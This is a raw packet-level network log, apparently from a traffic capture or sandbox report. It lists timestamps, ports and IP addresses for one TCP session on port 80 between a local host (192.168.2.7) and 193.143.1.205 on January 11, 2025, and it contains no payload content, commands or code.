Jan 11, 2025 08:09:00.558623075 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.558665037 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.558670998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.558713913 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.558747053 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.558769941 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.558780909 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.558815956 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.558828115 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.558850050 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.558881998 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.558897972 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.558923006 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.558965921 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.558965921 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559000969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559047937 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559061050 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.559276104 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559309006 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559324980 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.559360027 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559395075 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559407949 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.559428930 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559462070 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559479952 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.559499025 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559530973 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559540033 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.559565067 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559597015 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559604883 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.559632063 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559667110 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559674978 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.559719086 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559752941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559763908 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.559786081 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559818029 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.559830904 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.564794064 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.604285002 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604305029 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604321003 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604336023 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604357958 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.604361057 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604377031 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604386091 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.604391098 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604404926 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604419947 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604428053 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604429007 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.604443073 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604456902 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604471922 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604487896 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.604490042 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.604526043 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.604541063 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.638839006 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.638860941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.638878107 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.638892889 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.638904095 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.638910055 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.638925076 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.638942957 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.638948917 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.638967037 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.638973951 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.638993979 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639015913 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639033079 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639062881 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639071941 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639087915 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639102936 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639127970 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639147997 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639173031 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639190912 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639197111 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639213085 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639228106 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639238119 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639265060 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639349937 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639364958 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639379978 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639395952 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639404058 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639410973 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639436007 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639456987 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639472961 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639487982 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639498949 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639503002 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639518023 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639525890 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639533043 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639549017 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639573097 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639575005 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639589071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639602900 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639606953 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639619112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639636040 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639637947 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639657974 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639671087 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639686108 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639708042 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639709949 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639724016 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639744043 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639754057 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639760017 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639775038 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639816999 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639816999 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639854908 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639869928 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639884949 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639899969 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639908075 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639915943 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639930964 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639945984 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639949083 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.639961004 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639977932 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.639990091 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640005112 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640011072 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640029907 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640043974 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640044928 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640065908 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640080929 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640130043 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640145063 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640160084 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640177965 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640182018 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640197992 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640201092 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640202999 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640217066 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640239954 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640242100 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640266895 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640281916 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640283108 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640299082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640310049 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640315056 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640341043 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640345097 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640361071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640376091 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640389919 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640394926 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640404940 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640413046 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640446901 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640501976 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640518904 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640533924 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640549898 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640557051 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640590906 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640625000 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640649080 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640674114 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640690088 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640702963 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640702963 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640719891 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640734911 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640744925 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640750885 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640767097 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640778065 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640783072 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640798092 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640808105 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640815020 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640830040 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640840054 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640851974 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.640872002 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.640903950 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.645754099 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.673351049 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.673383951 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.673432112 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.673435926 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.673470974 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.673504114 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.673521042 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.673537016 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.673569918 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.673585892 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.673613071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.673646927 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.673692942 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.674360037 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.690295935 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690326929 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690347910 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.690377951 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690448046 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690452099 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.690499067 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690534115 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690541983 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.690567017 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690599918 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690606117 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.690633059 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690665007 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690690994 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.690701008 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690733910 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690757990 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.690768003 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690800905 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690824032 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.690835953 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.690876961 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.715229034 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.724912882 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.724950075 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.724980116 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.724994898 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725004911 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725022078 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725037098 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725038052 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725054979 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725079060 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725080967 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725096941 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725121021 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725126028 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725136995 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725159883 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725161076 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725178003 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725193024 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725200891 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725210905 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725233078 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725234985 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725243092 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725251913 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725275040 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725276947 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725292921 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725296021 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725308895 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725338936 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725342035 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725384951 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725395918 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725444078 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725478888 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725485086 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725524902 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725564003 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725574970 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725611925 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725656986 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725698948 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725755930 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725788116 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725794077 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725833893 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725878954 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.725887060 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725938082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725974083 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.725980997 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726010084 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726042986 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726052999 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726094961 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726126909 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726139069 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726180077 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726208925 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726223946 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726259947 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726305008 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726310968 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726342916 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726377010 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726386070 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726409912 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726452112 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726460934 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726495028 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726528883 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726532936 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726594925 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726629019 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726638079 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726664066 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726703882 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726722956 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726752996 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726794958 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726805925 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726876974 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726921082 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.726926088 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726962090 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.726994991 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727005005 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727029085 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727061033 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727067947 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727096081 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727128983 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727138042 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727164030 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727196932 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727205992 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727231979 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727263927 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727283001 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727305889 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727351904 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727356911 CET	80	49701	193.143.1.205	192.168.2.7
